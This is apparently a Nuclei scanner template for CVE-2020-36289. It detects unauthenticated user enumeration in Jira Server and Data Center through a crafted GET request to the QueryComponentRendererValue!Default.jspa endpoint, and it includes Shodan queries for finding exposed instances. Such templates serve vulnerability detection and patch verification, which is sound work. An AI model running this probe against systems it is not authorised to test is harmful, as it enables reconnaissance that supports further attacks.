id: CVE-2020-36289

info:
  name: Jira Server and Data Center - Information Disclosure
  author: dhiyaneshDk
  severity: medium
  description: Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the QueryComponentRendererValue!Default.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations, Affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
  impact: |
    An attacker can gain access to sensitive information, potentially leading to further attacks.
  remediation: |
    Apply the necessary patches or updates provided by Atlassian to fix the vulnerability.
  reference:
    - https://twitter.com/ptswarm/status/1402644004781633540
    - https://jira.atlassian.com/browse/JRASERVER-71559
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36289
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-36289
    cwe-id: CWE-863
    epss-score: 0.99209
    epss-percentile: 0.99931
    cpe: cpe:2.3:a:atlassian:data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2020,jira,atlassian,unauth,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
      - '{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'rel=\"admin\"'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a0046304402206b96c98f9c6a822f217626dd228e1da650680ad177d1427b58361543e0d97933022055e6142a98e3999555919b8292144d319ea686d6babd5e23402af0fb0385daa7:922c64590222798bb761d5b6d8e72950